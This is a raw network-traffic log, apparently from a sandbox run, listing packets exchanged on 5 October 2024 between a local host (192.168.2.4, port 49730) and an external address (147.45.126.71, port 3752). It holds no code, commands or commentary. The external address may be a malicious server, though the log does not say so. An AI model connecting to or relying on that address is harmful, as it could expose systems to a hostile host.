Oct 5, 2024 14:33:08.098139048 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.098176956 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.098191977 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.098845005 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.098912001 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.100713968 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.100810051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.100843906 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.100874901 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.100899935 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.100934982 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.100961924 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.100986004 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.101041079 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.101285934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.101321936 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.101356030 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.101376057 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.101393938 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.101429939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.101444960 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.101922989 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.101985931 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.102050066 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.102085114 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.102119923 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.102140903 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.102152109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.102207899 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.108666897 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.108722925 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.108779907 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.108784914 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.108819962 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.108858109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.108874083 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.109128952 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.109164953 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.109194994 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.109201908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.109239101 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.109251022 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.109277010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.109343052 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.110023975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.110074997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.110162973 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.110215902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.110253096 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.110291958 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.110318899 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.119195938 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.119277000 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.119291067 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.119326115 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.119422913 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.119467020 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.119504929 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.119539022 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.119556904 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.119575024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.119632006 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.120263100 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.120315075 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.120352030 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.120367050 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.120387077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.120421886 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.120435953 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.120460033 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.120500088 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.120980024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.121033907 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.121093988 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.137517929 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.137567997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.137608051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.137625933 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.137643099 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.137680054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.137712002 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.137716055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.137751102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.137770891 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.137789011 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.137835979 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.137986898 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.138024092 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.138057947 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.138076067 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.138093948 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.138128996 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.138153076 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.138789892 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.138844013 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.138844013 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.151236057 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151278973 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151316881 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151319027 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.151355028 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151366949 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.151413918 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151452065 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151465893 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.151489019 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151524067 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151539087 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.151556969 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151591063 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151618004 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.151628971 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151664019 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151674986 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.151700020 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151734114 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151760101 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.151767015 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151803970 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.151817083 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.156251907 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.156296968 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.156333923 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.156347990 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.156372070 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.156392097 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.156407118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.156441927 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.156464100 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.156480074 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.156522989 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.156852007 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.165357113 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.165425062 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.165431023 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.165465117 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.165517092 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.165518999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.165554047 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.165587902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.165600061 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.165630102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.165677071 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.166060925 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.166099072 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.166148901 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.166152000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.166183949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.166217089 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.166228056 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.166251898 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.166296005 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.166548014 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.166718006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.166753054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.166770935 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.183578014 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.183651924 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.183687925 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.183691025 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.183725119 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.183743000 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.183764935 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.183809996 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.183876991 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.183912992 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.183947086 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.183957100 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.184582949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.184658051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.184659004 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.184695959 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.184729099 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.184742928 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.184770107 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.184811115 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.184891939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.184928894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.184973001 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.203197002 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.203243971 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.203282118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.203301907 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.203524113 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.203558922 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.203571081 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.203594923 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.203634024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.203639030 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.204906940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.204937935 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.204967022 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.204974890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.205024958 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.205064058 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.205097914 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.205147982 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.205224037 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.205260038 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.205310106 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.205703974 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.212838888 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.212893009 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.212903023 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.212929010 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.212984085 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.213257074 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.213290930 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.213325977 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.213335991 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.213360071 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.213397026 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.213406086 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.213746071 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.213779926 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.213794947 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.213814974 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.213850021 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.213872910 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.213885069 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.213920116 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.213928938 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.214397907 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.214431047 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.214452982 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.214467049 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.214497089 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.214517117 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.214764118 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.214798927 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.214812040 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.214835882 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.214864016 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.214879990 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.223530054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.223618031 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.223650932 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.223651886 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.223726034 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.223759890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.223794937 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.223829031 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.223853111 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.223865032 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.223915100 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.224639893 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.224692106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.224728107 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.224746943 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.224765062 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.224798918 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.224812984 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.224838972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.224886894 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.225037098 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.225073099 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.225123882 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.231827974 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.231870890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.231930017 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.231936932 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.231966972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.232002020 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.232031107 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.232038021 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.232075930 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.232093096 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.232440948 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.232475042 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.232501984 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.232511044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.232568979 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.232769966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.232804060 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.232836962 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.232851028 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.232871056 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.232903957 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.232943058 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.241636992 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.241688967 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.241719961 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.241784096 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.241837025 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.241843939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.241879940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.241914988 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.241934061 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.241949081 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.241982937 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.242002964 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.250081062 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.250125885 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.250152111 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.250186920 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.250224113 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.250242949 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.250258923 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.250293016 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.250303984 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.250332117 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.250377893 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.250642061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.250677109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.250711918 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.250734091 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.250746965 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.250807047 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.251507044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.251558065 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.251612902 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.251704931 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.251795053 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.251847029 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.258069038 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.258137941 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.258200884 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.258203983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.258241892 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.258281946 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.258292913 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.258502007 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.258537054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.258547068 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.258574009 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.258610964 CEST	3752	49730	147.45.126.71	192.168.2.4
